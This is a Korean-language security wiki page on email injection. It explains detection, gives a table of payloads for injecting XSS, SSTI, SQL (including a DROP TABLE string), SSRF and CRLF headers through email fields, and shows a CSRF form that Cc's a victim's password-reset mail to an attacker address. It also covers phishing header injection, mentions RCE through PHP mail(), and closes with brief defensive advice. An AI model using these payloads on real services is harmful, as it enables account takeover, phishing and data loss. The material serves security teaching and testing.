Email Injection

Introduction

Email Injection은 Application에서 사용자로 부터 받은 입력 값이 Email을 처리하는데 사용되고 입력 값에 대한 검증이 미흡한 경우 공격자가 악의적인 파라미터로 메일 내용 등을 변조할 수 있는 공격 방법입니다.

{
    "email":"sender@domain.com%0ACc:attacker@domain.com"
}

공격이 성공한다면 공식 계정 사칭이나 피싱 등에 활용될 수 있고, 연관된 시스템에 따라서 계정 탈취 등에 사용될 수 있습니다.

Offensive techniques

Detect

초대, 안내 등 웹 요청 이후에 이메일이 전송되는 모든 구간은 Email Injection의 영향을 받을 수 있습니다.

POST /invite HTTP/1.1

email=hahwul@gmail.com

email 파라미터를 통해 받은 값이 SMTP 등 메일 전송 시스템을 통해 전송될 때 입력 값에 대한 검증이 없다면 CRLF(개행문자)등을 이용하여 Email의 송/수신인, 내용 등을 변조할 수 있게 됩니다.

POST /invite HTTP/1.1

email=hahwul@gmail.com%0ASubject:Fake%20Subject

Exploitation

Common Vuln

Type Payload
XSS test+(<script>alert(0)</script>)@example.comtest@example(<script>alert(0)</script>).com"<script>alert(0)</script>"@example.com
SSTI "<%= 7 * 7 %>"@example.comtest+(${{7*7}})@example.com
SQLi "' OR 1=1 -- '"@example.com"mail'); DROP TABLE users;--"@example.com
SSRF (Era of ssrf) john.doe@abc123.burpcollaborator.netjohn.doe@[127.0.0.1]
Parameter pollution victim&email=[attacker@example.com](mailto:attacker@example.com)
Email header injection "%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com
Wildcard abuse %@example.com

Refer: E-mail 포맷을 이용한 여러가지 Exploiting 기법들

Stealing sensitive inforamation

CSRF 등의 취약점과 조합되면 패스워드 재 설정 시 발생하는 메일이나 2FA 인증 값 등 민감한 정보를 탈취할 수 있습니다.

POST /invite HTTP/1.1

email=victim@domain.com%0ACc:attacker@domain.com

메일을 발생시키는 요청 시 Email Injection하여 공격자의 메일에도 Cc로 데이터가 전달될 수 있도록 공격코드를 구성한다면 피해자가 CSRF 코드 접근 시 비밀번호 재생성 링크 등을 공격자의 메일로도 전달할 수 있어 계정 탈취 등의 이슈와 연결될 수 있습니다.

<form arciton="https://weakness-service/findPassword" method="post">
    <input type=text name="email" value="victim@domain.com%0ACc:attacker@domain.com">
</form>

Header/Content Injection

Email Injection이 가능한 메일이 noreply@blahblah 등 공식 계정으로 전송되는 경우 mail의 헤더에 개행 문자등을 삽입하여 Subject, Body 등을 조작하여 공식 계정에서의 피싱 메일을 구성할 수 있습니다.

POST /notify HTTP/1.1

email=victim@domain.com%0ASubjact:Important%20Security%20Alerts%0A%0AFake%20Message!

또한 사용자 입력 값이 메일 본문에 삽입되는 경우 HTML 태그, CSS 등을 이용하여 서비스에서 의도하지 않을 메일을 전달할 수 있습니다.

POST /notify HTTP/1.1

email=victim@domain.com&name=alice<br>Please%20Click%20Me<!--

RCE

Mail 전송을 위해서 Command-line으로 다른 Mail Application을 처리하는 경우가 있습니다. 대표적으로 PHP Cli의 mail() 함수도 비슷하죠.

이러한 경우 Command Injection과 동일하게 해당 과정에서 특수문자에 대한 처리가 미흡하다면 이를 통해 최종적으로 RCE까지 이어질 수 있습니다.

Tricks

  • Subjact: <TITLE>: 제목
  • Cc: <attacker mail address>: CC(참조) 설정으로 메일을 받을 수 있음
  • Replay-To: <attacker mail address>: Replay-to를 사용하면 회신 대상을 지정할 수 있어 메일을 받아올 수 있음

Defensive techniques

사용자로 부터 Email 전송에 사용되는 데이터를 받아 처리하는 경우 지정된 포맷의 데이터 이외에는 처리하지 않도록 제한하는 것이 좋습니다. 특히 개행문자의 경우 여러가지 Exploit 포인트를 만들 수 있기 때문에 꼭 처리하는 것이 좋습니다.

References

  • https://en.wikipedia.org/wiki/Email_injection
  • https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
  • https://www.hahwul.com/cullinan/crlf-injection/#-defensive-techniques